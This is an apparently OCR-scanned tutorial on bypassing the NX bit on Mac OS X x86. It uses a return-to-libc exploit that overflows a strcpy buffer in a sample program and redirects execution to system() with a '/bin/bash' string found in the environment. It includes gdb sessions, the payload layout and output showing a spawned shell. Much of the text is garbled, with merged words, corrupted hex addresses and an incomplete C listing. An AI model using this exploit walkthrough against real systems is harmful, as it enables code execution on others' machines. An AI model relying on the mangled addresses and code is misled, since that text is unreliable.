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Bypassing noexec on Mac OSX x86

Introduction

The last Apple architecture change contributesitmerease in the platform’s
performance (even 4 times more efficient than {deP&#C format). Moreover, a new
feature, the NX bit, was introduced. The latterides whether to execute memory
codes that are usually used to exploit the macleime buffer overflow stack based
and heap based.

Switching to x86, Apple adopted also a best knowhigecture then the PowerPC,
which is good for developers as they might feelermymfortable with it but also for
hackers whom might play in a better known playgcbun

Let's see better this “NX protection”...

NX protection

The NX bit it's nothing new, it's present from teet old 80286.

The “old” NX bit it's not useful for the new opeirag system, AMD with Athlon 64
and Opteron have implemented more suitable NXdbitlfe new needs of operating
system.

The NX bit it's the 63th in the paging table of x8&cessor. If the bit it's set to zero
the code in the page it will be execute and viasad it's set to one.

There are many software implementation of thatl kihsecurity, one of that it's
PAX, these solutions work on 32 bit processor (aiithNX-bit) but loosing
performance about 10%-15%.

The new Mac machines use Intel Core Duo and Salohtaive the bit NX(renamed
XD from Intel).

The old metodologies



First to thinking about exploiting case we mustteea bug program, a simple buffer
overflow.

Bug.c

#include <stdio.h>
void main(int argc, char** argv)

{
char buffer[100];

strcpy(buffer,argv[1]);

printf("\nbuffer: %s\n\n",buffer);

How we can see from code the buffer overflow hagpem not control of the
parameter in program input.

The normal (Alephl like) exploit can be like thigection vector:
[NOP...NOP][SHELLCODE][RET]

With NX bit the execution of NOP and SHELLCODE itist possible.
Let's see what GDB say:

Program received signal EXC_BAD_ACCESS, Could rmoeas memory.
Reason: KERN_PROTECTION_FAILURE at address: Oxbiftf
Oxbffffc7c in ?27? ()

(gdb) p/x $eip
$1 = Oxbffffc7c

How we can see from example we can’t execute ostdek but we overwrite the ret
address, then we have the power yet to redireaxtbeution.

During the execute of application some libraryiarported.
One library that can be useful it'’s the libc, iresif that there are many functions that
are interesting but in this article we use theeygj;.

The next objective for exploiting it's execute niatpon the stack but emulate the
command CALL.



For do that we need two things:

- function address
- load (push) parameters, that need the functiorhe stack

The first step

The our problem it's not overwrite the return addrbut where put our injection
vector for execute it or better for call somethlikg system();.

The system(); function execute the parameterspation the shell. In our case we
can execute “sh” then system(“/bin/sh”);.

The first step it's to know where it's place thest@m(); function.
Let’see these steps:
- Execute gdb with our software like parameter
gdb ./bug
- Put a breakpoint on the main() function

(gdb) br main
Breakpoint 1 at Ox1f5e

- Execute our program with some “a” like parameter.
(gdb) r aaaa
Starting program: /Users/emanuele/Desktop/ferti rdestiere/bug aaaa
Reading symbols for shared libraries . done

Breakpoint 1, 0x00001f5e in main ()

- At this point we are executing and then we have lbaded and then we can
see where is the system(); function.

(gdb) print system
$1 = {<text variable, no debug info>} 0x900474efystem>

Good we have the system address!!
Now we can overwrite the ret address with systeat{jiress that we found.
Our injection vector it will be:

[PADDING..][SYSTEM ADDRESS]



For PADDING i mean a number of characters, for gxana series of “A”, that they
help us “pushing” our injection vector for oververihe ret address.

Second step

Now we must load parameters for give them to tiséesy.

Our parameter it's the string “/bin/sh”, that wendand it in the environment or we
can put it in the our buffer.

The solution used here it’s the first one, so Is€s how to find that string.
Let's go to find near the stack...

(gdb) x/100s $esp

Oxbffffofe:  "TERM_PROGRAM=Apple_Terminal"

Oxbffffcla:  "TERM=xterm-color"

Oxbfffic2b:  "SHELL=/bin/bash"

Oxbffffc3b: "TERM_PROGRAM_VERSION=133"

Oxbffffc54:  "USER=emanuele”

Oxbffffc62: " CF_USER_TEXT_ENCODING=0x1F5:0:4
Oxbffffc84:  "COLUMNS=80"

Oxbffffc8f:  "PATH=/bin:/sbin:/usr/bin:/usr/sbi/sbin:/bin:/usr/sbin:/usr/bin"
We find it!! Oxbffffc2b!! not exactly let's see wh..

(gdb) x/s Oxbffffc2b
Oxbffffc2b:  "SHELL=/bin/bash"

We need parameter only like that “/bin/bash” so...

(gdb) x/s Oxbffffc31
Oxbffffc31: “/bin/bash"

That's better ... :-D

Action!!

We have all that we need. We can prepare our injegector, this time for exploit! :-
D

The final injection vector:



[PADDING][SYSTEM ADDRESS][32 bit TRASH][PARAMETER BDRESS]

PADDING: how we saying it's a series of characfershelp us to move the
SYSTEM ADDRESS on ret address.

SYSTEM ADDRESS: system(); address.

TRASH: we are emulate the instruction CALL so tB2atits are like the ret address
of the system that we are calling.

PARAMETER ADDRESS: the string “/bin/bash” addreisattwe found on the stack.
Let’s try our exploit:
buffer:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAA???
?H?7??

sh-2.05b$

it work!!! :-)

So we just have bypassed the noexec protectiotiedi X bit.

Elegance...

If we want be more elegant we can replace TRASHt8®\ith exit(); function
address that we find with the same methodologyt e saw it about system();

So when we go out from our shell it will be exectite exit(); function and then we
will exit without corrupt or cause something.



